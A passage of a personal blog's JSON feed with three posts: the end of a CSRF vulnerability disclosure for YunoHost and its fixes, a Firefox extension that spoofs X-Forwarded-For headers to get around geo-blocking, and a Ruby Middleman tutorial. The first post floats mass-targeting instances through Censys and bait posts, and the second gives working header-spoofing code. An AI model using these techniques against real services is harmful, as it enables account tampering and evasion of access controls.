POST /monitor/stats
POST /settings/<key>
POST /services
The request for changing the normal user password is:
\nPOST /yunohost/sso/password.html HTTP/1.1\nHost: demo.yunohost.org\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate, br\nReferer: https://demo.yunohost.org/yunohost/sso/password.html\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\ncurrentpassword=demo&newpassword=demo&confirm=demo\n
\nIt looks like this might be vulnerable to CSRF as well. However SSOwat has a\nCSRF protection based on the Referer
header:
if ngx.var.request_method == \"POST\" then\n if hlp.string.starts(ngx.var.http_referer, conf.portal_url) then\n if hlp.string.ends(ngx.var.uri, conf[\"portal_path\"]..\"password.html\")\n or hlp.string.ends(ngx.var.uri, conf[\"portal_path\"]..\"edit.html\")\n then\n return hlp.edit_user()\n else\n return hlp.login()\n end\n else\n -- Redirect to portal\n hlp.flash(\"fail\", hlp.t(\"please_login_from_portal\"))\n return hlp.redirect(conf.portal_url)\n end\nend\n
\nThanks to this protection, this part of the application (where the users can\nchange their own settings) is not vulnerable to CSRF.\nThis protection only applies to SSOwat pages however.
\nIt is necessary to target a specific YunoHost instance for conducting this attack:\nwe might argue that this would limit the impact of these vulnerabilities.\nIt is however very easy to get a\nlist of YunoHost instances with\na search engine such as Censys:
\n\nYou could very easily build a list of YunoHost instances and try to CSRF them all,\nfor example by baiting their owner with a blog post about YunoHost.
\nSince YunoHost 3.3, released in 2018-11-23,\nthe SameSite=lax
\nparameter is now set to the SSOwat cookies.\nWith this setting, the browser does not send the\ncookie when the request is CSRF-able\n(i.e. when it is an unsafe HTTP methods, such as POST, coming from another origin).\nSupport for this cookie parameter is\nnot available in all browsers\nbut it is supposed to work on most evergreen browsers.
This change is effective against the CSRF in VPN Client\nand should fix the CSRF in other InternetCube applications.
\nHowever, this change alone does not prevent CSRF on the administration interface.\nThis is because the SameSite=lax
setting is only\nset on the SSOwat cookies (SSOwAuthUser
, SSOwAuthHash
and SSOwAuthExpire
)\nand not on Moulinette cookies (session.id
, session.hashes
).\nThe Moulinette API uses session.id
and session.hashes
cookies which do not\nhave the SameSite=lax
parameter.
The OpenVPN client app 1.3.0, released in 2018-12-02, includes\na protection against CSRF.\nThose changes are needed to protect browsers without support for SameSite
\ncookies. On browsers with SameSite
support this change is not stricly needed.
These changes have currently not been ported to the other vulnerable\nInternetCube apps. This is not a problem as long as the user browser has\nSameSite
cookie support.
YunoHost 3.4, released in 2019-01-29, includes a\nbasic anti-CSRF fix in Moulinette.\nCurrently, it relies on the client adding a X-Requested-With
HTTP header.
SameSite
cookieHost
headerAccess-Control-Allow-Origin
SameSite
cookie draftSameSite
cookies?Trying to bring back some old IP spoofing Firefox extension\nfor watching South Park episodes.
\nYears ago, I was trying to watch the South Park episodes on the\nofficial website. While all the episodes were\nseemingly available for free on the website, they were sadly not available\nfrom a French IP address.\nSo I wrote a Firefox extension which would \u201cspoof\u201d a random US IP address.\nThe extension was sending a X-Forwarded-For
HTTP header with an US IP address\non all requests for www.southparkstudios.com
, media.mtvnservices.com
.\nAt that time these servers were happily trusting the IP address in the HTTP\nheader and would grant you access to the episodes \ud83d\ude00.
// Fake US IP address\n// taken from https://developer.mozilla.org/en/Setting_HTTP_request_headers\n\nfunction rand(min, max) {\n var range = max - min;\n return Math.floor((range+1)*Math.random()) + min;\n}\n\nvar ipSpoofer = {\n ip: \"199.\"+rand(236,240)+\".\"+rand(0,255)+\".\"+rand(1,254),\n started: false,\n checkSpoofability : function(httpChannel) {\n return true;\n var host = httpChannel.originalURI.host;\n return host == \"www.southparkstudios.com\" || host == \"media.mtvnservices.com\";\n },\n observe: function(subject, topic, data) {\n if (topic == \"http-on-modify-request\") {\n var httpChannel = subject.QueryInterface(Components.interfaces.nsIHttpChannel);\n if (this.checkSpoofability(httpChannel)) {\n httpChannel.setRequestHeader(\"X-Forwarded-For\", this.ip, false);\n }\n }\n },\n chooseIp : function() {\n\t this.ip = \"199.\"+rand(236,240)+\".\"+rand(0,255)+\".\"+rand(1,254);\n },\n start: function() {\n \tif (!this.started){\n \t if (!this.ip) {\n \t\t this.chooseIp();\n \t }\n \t Components.classes[\"@mozilla.org/observer-service;1\"].\n \t\tgetService(Components.interfaces.nsIObserverService).\n \t\taddObserver(this, \"http-on-modify-request\", false);\n \t this.started = true;\n \t}\n },\n stop: function() {\n \tif (this.started) {\n \t Components.classes[\"@mozilla.org/observer-service;1\"].\n \t\tgetService(Components.interfaces.nsIObserverService).\n \t\tremoveObserver(this, \"http-on-modify-request\");\n \t this.started = false;\n \t}\n }\n};\n\nfunction startup(data,reason) {\n ipSpoofer.start();\n}\n\nfunction shutdown(data,reason) {\n ipSpooder.stop();\n}\n
\nThe old-Firefox extensions do not work anymore on newest versions of Firefox,\nwith the new extensions system. I rewrote it in order to check if that old\ntrick was still working these days.
\nfunction rand(min, max) {\n const range = max - min;\n return Math.floor((range+1)*Math.random()) + min;\n}\n\nconst ip = \"199.\" + rand(236,240) + \".\" + rand(0,255) + \".\"+rand(1,254);\n\nfunction rewriteHeaders(req) {\n const url = new URL(req.url)\n const headers = Array.from(req.requestHeaders)\n headers.push({\n \"name\": \"X-Forwarded-For\",\n \"value\": ip\n });\n headers.push({\n \"name\": \"Forwarded\",\n \"value\": \"by=127.0.0.1; for=\" + ip + \"; host=\" + url.host+ \"; proto=\" + (url.protocol.replace(\":\", \"\")),\n });\n return {requestHeaders: headers};\n}\n\nbrowser.webRequest.onBeforeSendHeaders.addListener(\n rewriteHeaders,\n {urls: [\"<all_urls>\"]},\n [\"blocking\", \"requestHeaders\"]\n);\n
\nIt turns out, the servers do not blindly trust\nthose HTTP headers anymore these days. \ud83d\ude2d
\n"}, {"id": "http://www.gabriel.urdhr.fr/2015/07/04/html-pipeline-middleman/", "title": "Use HTML pipeline in Middleman", "url": "https://www.gabriel.urdhr.fr/2015/07/04/html-pipeline-middleman/", "date_published": "2015-07-04T00:00:00+02:00", "date_modified": "2015-07-04T00:00:00+02:00", "tags": ["computer", "middleman", "ruby", "html", "emoji", "markdown", "web"], "content_html": "How to use html-pipeline
in\nmiddleman.
The idea is to be able add postprocessing steps after the markdown processing.\nThe same idea can be used to wrap a default tilt template with any kind of\npostprocessing operations.
\nWe need those gems (Gemfile
):
gem 'html-pipeline'\ngem 'github-linguist'\ngem 'github-markdown'\n# Ships with non-free emojis but you can use free ones:\ngem 'gemoji'\n
\nDefine a tilt template based on a given\nhtml-pipeline
(lib/mytemplate.rb
) generating HTML from markdown:
require 'tilt/template'\n\nclass MarkdownHtmlFilterTemplate < Tilt::Template\n self.default_mime_type = \"text/html\"\n\n def self.engine_initialized?\n defined? ::Pygments and defined? ::Html::Pipeline and defined? ::Linguist\n end\n\n def initialize_engine\n require 'html/pipeline'\n require 'linguist'\n require \"pygments\"\n end\n\n def prepare\n @engine = HTML::Pipeline.new [\n HTML::Pipeline::MarkdownFilter,\n HTML::Pipeline::EmojiFilter,\n HTML::Pipeline::SyntaxHighlightFilter,\n HTML::Pipeline::TableOfContentsFilter\n ], :asset_root => \"/\", :gfm => false\n end\n\n def evaluate(scope, locals, &block)\n @output ||= @engine.call(data)[:output].to_s\n end\n\nend\n
\nUse it in middleman (config.rb
) for processing markdown files:
require 'lib/mytemplates'\n# We need to omit the Template suffix:\nset :markdown_engine, :MarkdownHtmlFilter\n
\nAnother solution is to use rack filter:
\nmodule Rack\n class MyEmojiFilter\n\n def initialize(app, options = {})\n @app = app\n @options = options\n end\n\n def call(env)\n status, headers, response = @app.call(env)\n if headers[\"Content-Type\"] and headers[\"Content-Type\"].include? \"text/html\"\n html = \"\"\n response.each { |chunk| html << chunk }\n html = process(html)\n headers['Content-Type'] = \"text/html; charset=utf-8\"\n headers['Content-Length'] = \"\".respond_to?(:bytesize) ? html.bytesize.to_s : html.size.to_s\n [status, headers, [html]]\n else\n [status, headers, response]\n end\n end\n\n def process(html)\n html.gsub(/:([a-zA-Z0-9_]{1,}):/) do |match|\n emoji = $1\n \"<img class='emoji' src='/img/emoji/#{emoji}.png' alt=':#{emoji}:' />\"\n end\n end\n\n end\nend\n
\nThe difference is that this processes all the files and the whole content of\nthem.
\nclass MarkdownTemplate < Tilt::Template\n self.default_mime_type = \"text/html\"\n def self.engine_initialized?\n defined? ::Tilt::KramdownTemplate\n end\n def initialize_engine\n require 'tilt/markdown'\n end\n def prepare\n @template = Tilt::KramdownTemplate.new(@file, @line, @options, &@reader)\n end\n def replace_emoji\n text.gsub(/:([a-zA-Z0-9_]{1,}):/) do |match|\n \"<img class='emoji' src='/img/emoji/#{$1}.png' alt=':#{$1}:' />\"\n end\n end\n def evaluate(scope, locals, &block)\n @output ||= replace_emoji(@template.render(scope, locals, &block))\n end\nend\n
\nThis monkey-patches the Kramdown parser in order to recognise emojis:
\nrequire 'kramdown/parser/kramdown.rb'\n\nmodule Kramdown\n module Parser\n class Kramdown\n alias_method :old_emoji_initialize, :initialize\n def initialize(source, options)\n old_emoji_initialize source, options\n @span_parsers.unshift(:emoji)\n end\n def parse_emoji\n start_line_number = @src.current_line_number\n @src.pos += @src.matched_size\n emoji = @src[1]\n el = Element.new(:img, nil, nil, :location => start_line_number)\n add_link(el, \"/img/emoji/#{emoji}.png\", nil, \":#{emoji}:\")\n end\n EMOJI_MATCH = /:([0-9a-zA-Z_]{1,}):/\n define_parser(:emoji, EMOJI_MATCH)\n end\n end\nend\n
\n"}]}